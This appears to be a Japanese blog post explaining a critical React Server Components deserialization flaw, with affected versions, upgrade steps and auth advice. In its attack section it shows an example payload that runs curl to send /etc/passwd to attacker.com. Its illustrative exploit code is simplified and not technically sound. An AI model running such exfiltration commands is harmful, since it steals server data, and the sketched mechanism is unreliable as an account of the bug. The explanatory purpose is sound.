2025-12-03発表のReact Server Components の重大脆弱性をがんばって理解する
はじめに
2025年12月3日、ReactチームからCVSS 10.0(最高評価)という衝撃的な脆弱性が公開されました。「React使ってるけど、自分のアプリは大丈夫なの?」と不安になった方も多いのではないでしょうか。
ピンと来ていない人、安心してください。私もです。
この記事では、今回の脆弱性が何が問題で、どう悪用されるのかを、わかりやすく解説します。
まず結論:何をすべきか
影響を受けるバージョン:
- React 19.0, 19.1.0, 19.1.1, 19.2.0
対応:
- React 19.0.1、19.1.2、19.2.1以上にアップグレード
- Next.js、React Router、Wakuなどのフレームワークも影響を受けるため、最新版への更新を確認
影響を受けないケース:
- サーバー側でReactを使っていない(完全にクライアントのみ)
- React Server Componentsを使っていない
何が問題だったのか
Server Componentsは安全?
まず誤解を避けたいのですが、通常のServer Componentの書き方自体に問題はありません。
// このコード自体は問題なし
const App = async () => {
const data = await fetch('https://api.example.com/data')
return {data.title}
}
問題はServer Actions/Server Functionsの呼び出しメカニズムにあります。
Server Actionsの仕組み
Server Actionsを使うと、クライアントから直接サーバー側の関数を呼び出せます。
// サーバー側のコード
async function submitForm(formData) {
'use server'
await db.insert(formData)
return { success: true }
}
// クライアント側で呼び出し
[送信]
便利ですよね。でも、この裏側で何が起きているのでしょうか?
通信の裏側
クライアントでServer Actionを呼び出すと、Reactは自動的にHTTPリクエストを生成します。
POST /_next/server-actions/abc123
Content-Type: text/x-component
["$", "$L1", null, {"username": "osushi"}]
サーバー側では、Reactがこのリクエストを受け取り、以下の処理を行います:
// 1. HTTPリクエストのボディを読み取る
const payload = await request.text()
// 2. Reactの独自フォーマットからJavaScriptオブジェクトに復元
const args = deserializePayload(payload) // ← ここに脆弱性!
// 3. 関数を実行
const result = await submitForm(...args)
問題は2番目のデシリアライズ処理にありました。
どう悪用されるのか
攻撃のシナリオ
攻撃者は、Reactクライアントを経由せず、直接HTTPリクエストを送信できます。
curl -X POST https://target.com/_next/server-actions/abc123 \
-H "Content-Type: text/x-component" \
-d '[悪意のあるペイロード]'
「認証があれば大丈夫では?」と思いますよね
ここが重要なポイントです:
- Server Actionsはデフォルトで認証を強制しない
- 認証チェックを入れていても、デシリアライズが認証より先に実行される可能性がある
リクエスト受信
↓
Reactがペイロードをデシリアライズ ← ここで脆弱性が発動!
↓
認証チェック ← ここまで到達する前にやられる
↓
関数実行
プロトタイプ汚染による攻撃
悪意のあるペイロードの例(概念的なイメージ):
{
"__proto__": {
"isAdmin": true
}
}
JavaScriptでは、__proto__やconstructorといった特殊なキーを使うと、すべてのオブジェクトの基本動作を書き換えることができます(やばい)。
// 攻撃成功後
Object.prototype.isAdmin = true
// すべてのオブジェクトが影響を受ける
const user = {}
console.log(user.isAdmin) // true
さらに危険なのは、Node.jsの機能を悪用して任意のコードを実行できてしまうことです:
// 悪意のあるペイロード
const malicious = JSON.stringify({
"__proto__": {
"toString": function() {
require('child_process').exec('curl attacker.com/steal?data=$(cat /etc/passwd)')
return ""
}
}
})
// 攻撃対象のサーバーに送信
fetch('https://target.com/_next/server-actions/abc123', {
method: 'POST',
headers: { 'Content-Type': 'text/x-component' },
body: malicious
})
Reactのデシリアライズ処理が、このような特殊な構造を適切に検証せずに処理してしまったのが、今回の脆弱性の本質です。
なぜCVSS 10.0(最高評価)なのか
この脆弱性が最高評価を受けた理由:
- 認証不要(unauthenticated): 誰でも攻撃できる
- リモート実行可能(remote): インターネット経由で攻撃できる
- 任意のコード実行(RCE): サーバー上で何でもできる
- 影響範囲が広い: 人気のあるフレームワーク・バンドラーに影響
今後の対策
即座に行うべきこと
1. Reactのバージョンを確認
npm list react react-dom
2. アップグレード
npm install react@19.0.1 react-dom@19.0.1
# または
npm install react@19.1.2 react-dom@19.1.2
3. フレームワークの更新も確認
Next.js、React Router、Wakuなどを使用している場合は、それぞれの最新版への更新情報を確認してください。
設計上の教訓
今回の件から学べること:
1. Server Actionsには明示的に認証チェックを入れる
async function submitForm(formData) {
'use server'
const session = await getSession()
if (!session) throw new Error('Unauthorized')
await db.insert(formData)
}
2. 入力検証は必須
ユーザーからの入力だけでなく、フレームワークが処理する内部データも検証が必要です。
3. セキュリティアップデートは最優先
CVSS 10.0のような重大な脆弱性は、発見され次第すぐに対応が必要です。
参考リンク
おわりに
Server Components自体は素晴らしい技術ですが、新しい技術には予期しない脆弱性が潜んでいる可能性があります。定期的なアップデートとセキュリティ情報のキャッチアップを心がけましょう。
Discussion